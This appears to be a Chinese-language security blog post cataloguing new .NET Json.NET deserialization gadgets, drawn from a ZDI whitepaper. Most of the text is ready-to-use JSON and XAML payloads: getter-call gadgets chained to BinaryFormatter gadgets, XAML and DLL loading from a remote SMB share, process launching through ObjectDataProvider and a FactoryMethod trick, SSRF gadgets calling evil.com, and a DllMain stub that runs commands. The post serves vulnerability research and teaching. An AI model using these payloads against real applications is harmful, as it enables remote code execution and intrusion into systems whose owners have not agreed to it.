dotnet New Deserialization Gadgets

dotnet New Deserialization Gadgets

前言

https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf

本文补充任意 Getter 调用以及新的反序列化 Gadget 这两个部分的内容

任意 Getter 调用

PropertyGrid

命名空间: System.Windows.Forms

反序列化时调用指定对象的所有 getter

payload

1
2
3
4
5
6
{
    "$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
    "SelectedObjects": [{
        "your": "object"
    }]
}

过程比较复杂, 直接看调用堆栈

ComboBox

命名空间: System.Windows.Forms

反序列化时调用指定 getter

payload

1
2
3
4
5
6
7
8
{
    "$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [{
        "your": "object"
    }],
    "DisplayMember": "MaliciousMember",
    "Text": "whatever"
}
  • Items: 存放恶意对象
  • DisplayMember: 指定 getter 属性名称
  • Text: 触发 getter 调用

DisplayMember

Text setter

GetItemText

FilterItemOnProperty

通过 propertyDescriptor.GetValue 调用指定属性的 getter

ListBox

命名空间: System.Windows.Forms

反序列化时调用指定 getter, 与 ComboBox 类似

payload

1
2
3
4
5
6
7
8
{
    "$type": "System.Windows.Forms.ListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [{
        "your": "object"
    }],
    "DisplayMember": "MaliciousMember",
    "Text": "whatever"
}

Text setter

CheckedListBox

命名空间: System.Windows.Forms

反序列化时调用指定 getter, 与 ComboBox, ListBox 类似 (继承自 ListBox)

payload

1
2
3
4
5
6
7
8
{
    "$type": "System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [{
        "your": "object"
    }],
    "DisplayMember": "MaliciousMember",
    "Text": "whatever"
}

与序列化 Gadget 结合

作者指出了 Json.Net 的一种限制场景

即基于特性设置的 TypeNameHanding.All 仅针对当前被标记的对象 (第一层对象)

对于对象内部的其它字段 (第二层对象) 在反序列化时仍然基于 TypeNameHanding.None

PropertyGrid + SecurityException

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
    "$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
    "SelectedObjects": [{
        "$type": "System.Security.SecurityException",
        "ClassName": "System.Security.SecurityException",
        "Message": "Security error.",
        "Data": null,
        "InnerException": null,
        "HelpURL": null,
        "StackTraceString": null,
        "RemoteStackTraceString": null,
        "RemoteStackIndex": 0,
        "ExceptionMethod": null,
        "HResult": -2146233078,
        "Source": null,
        "WatsonBuckets": null,
        "Action": 0,
        "FirstPermissionThatFailed": null,
        "Demanded": null,
        "GrantedSet": null,
        "RefusedSet": null,
        "Denied": null,
        "PermitOnly": null,
        "Assembly": null,
        "Method": "base64-encoded-binaryformatter-gadget",
        "Method_String": null,
        "Zone": 0,
        "Url": null
    }]
}

ComboBox + SettingsPropertyValue

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
    "$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
    "Items": [{
        "$type": "System.Configuration.SettingsPropertyValue, System",
        "Name": "test",
        "IsDirty": false,
        "SerializedValue": {
            "$type": "System.Byte[], mscorlib",
            "$value": "base64-encoded-binaryformatter-gadget"
        },
        "Deserialized": false
    }],
    "DisplayMember": "PropertyValue",
    "Text": "whatever"
}

XamlImageInfo

System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo

反序列化时加载 Xaml 实现 RCE

作者指出某些序列化器在默认配置下不能正确的反序列化 Stream 类型

最终找到了两种 Stream, 分别对应下面的 variant 1 和 variant 2

  • LazyFileStream
  • ReadOnlyStreamFromStrings

variant 1 (GAC)

从指定文件路径加载 Xaml (支持 UNC 路径, 因此可以从远程 SMB 服务器加载)

1
2
3
4
5
6
7
{
	"$type": "System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
	"stream": {
		"$type": "Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
		"path": "\\\\192.168.1.100\\poc\\malicious.xaml"
	}
}

Stream 类型使用 Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream

不知道为啥 LazyFileStream 就可以反序列化, 可能是结构比较简单?

variant 2 (non-GAC)

依赖 Microsoft.Web.Deployment.dll (非 GAC 程序集)

直接传递字符串形式的 Xaml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
{
    "$type": "System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "stream": {
        "$type": "Microsoft.Web.Deployment.ReadOnlyStreamFromStrings, Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
        "enumerator": {
            "$type": "Microsoft.Web.Deployment.GroupedIEnumerable`1+GroupEnumerator[[System.String, mscorlib]], Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
            "enumerables": [{
                "$type": "System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib",
                "$values": [""]
            }]
        },
        "stringSuffix": "xaml-gadget-here"
    }
}

Stream 类型使用 Microsoft.Web.Deployment.ReadOnlyStreamFromStrings

分析没怎么看明白, 大概意思就是传入一个空的 Enumerator, 其 Current 属性与 stringSuffix 拼接, 使得最终 Stream 里的内容直接就是 Xaml payload

XamlReader Trick

https://learn.microsoft.com/en-us/dotnet/desktop/xaml-services/xfactorymethod-directive

Xaml 的一个 trick, 无需 ObjectDataProvider 即可调用指定方法

1
2
3
4
5
6
7
8
<Process xmlns='clr-namespace:System.Diagnostics;assembly=System.Diagnostics.Process'
	xmlns:assembly='http://schemas.microsoft.com/winfx/2006/xaml'
	xmlns:x='http://schemas.microsoft.com/winfx/2006/xaml'
	x:FactoryMethod='Start'>
<x:Arguments>
calc.exe
</x:Arguments>
</Process>

SetCurrentDirectory

修改当前工作目录的 Gadget, 但是必须得是非默认配置, 利用场景有限

  • System.Environment
  • Microsoft.VisualBasic.FileIO.FileSystem
  • Microsoft.VisualBasic.MyServices.FileSystemProxy

SSRF

支持 HTTP/HTTPS/FTP/SMB Blind SSRF 的 Gadget (SMB 协议也许可以与 NTLM Relay 结合)

PictureBox

命名空间: System.Windows.Forms

1
2
3
4
5
{
    "$type": "System.Windows.Forms.PictureBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
    "WaitOnLoad": "true",
    "ImageLocation": "http://evil.com/poc"
}

InfiniteProgressPage

命名空间: Microsoft.ApplicationId.Framework

1
2
3
4
{
    "$type": "Microsoft.ApplicationId.Framework.InfiniteProgressPage, Microsoft.ApplicationId.Framework, Version=10.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "AnimatedPictureFile": "http://evil.com/poc"
}

.NET >= 5 (.NET Core)

.NET >= 5 时的限制

https://learn.microsoft.com/zh-cn/dotnet/desktop/wpf/overview/

https://learn.microsoft.com/en-us/dotnet/core/compatibility/core-libraries/5.0/global-assembly-cache-apis-obsolete

.NET Framework 版本的 WPF 内置于 GAC, 因为程序集查找顺序的特性, 所以可以直接用 ObjectDataProvider 这类存在于 PresentationFramework.dll 内的 Gadget

而 .NET 5 及更高版本 (.NET Core) 去除了全局程序集缓存 (GAC) 这一概念

因此 .NET Core 如果想要使用 WPF 框架 (PresentationFramework.dll), 则需要单独为项目指定 UseWPF 标签, 或者直接创建一个 WPF 项目, 限制较大

1
2
3
4
5
6
7
<PropertyGroup>
	<OutputType>Exe</OutputType>
	<TargetFramework>net8.0-windows</TargetFramework>
	<ImplicitUsings>enable</ImplicitUsings>
	<Nullable>enable</Nullable>
	<UseWPF>true</UseWPF>
</PropertyGroup>

.NET Core Gadget

ObjectDataProvider

跟之前 .NET Framework 的 payload 一模一样

1
2
3
4
5
6
7
8
9
{
    "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "MethodParameters":{
        "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values":["cmd", "/c calc.exe"]
    },
    "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}

BaseActivationFactory

加载本地/远程 DLL

1
2
3
4
5
{
    "$type": "WinRT.BaseActivationFactory, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "typeNamespace": "\\\\192.168.1.100\\poc\\lib",
    "typeFullName": "whatever"
}

WinRT.BaseActivationFactory 构造函数

DllModule.Load

Platform.LoadLibraryExW

最终调用 kernel32.dll 内的 native 函数

DLL 需要使用 C++ 编写, 加载时会执行 DllMain 函数内的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc.exe");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

CompilerResults

加载本地 DLL (Assembly.Load)

详细参考上一篇文章: https://exp10it.io/2024/02/dotnet-insecure-serialization/

作为序列化 Gadget 时无限制

1
2
3
4
5
{
    "$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
    "tempFiles": null,
    "PathToAssembly": "C:\\Users\\Public\\mixedassembly.dll"
}

如果想要在反序列化时利用, 则需要与前面的任意 Getter 调用 Gadget 结合 (均依赖于 WPF)

CheckedListBox + CompilerResults

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
    "$type": "System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [{
        "$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
        "tempFiles": null,
        "PathToAssembly": "C:\\Users\\exp10it\\lib-amd64.dll"
    }],
    "DisplayMember": "CompiledAssembly",
    "Text": "whatever"
}

PropertyGrid + CompilerResults

1
2
3
4
5
6
7
8
{
    "$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "SelectedObjects": [{
        "$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
        "tempFiles": null,
        "PathToAssembly": "C:\\Users\\exp10it\\lib-amd64.dll"
    }]
}

ComboBox/ListBox 同理

0%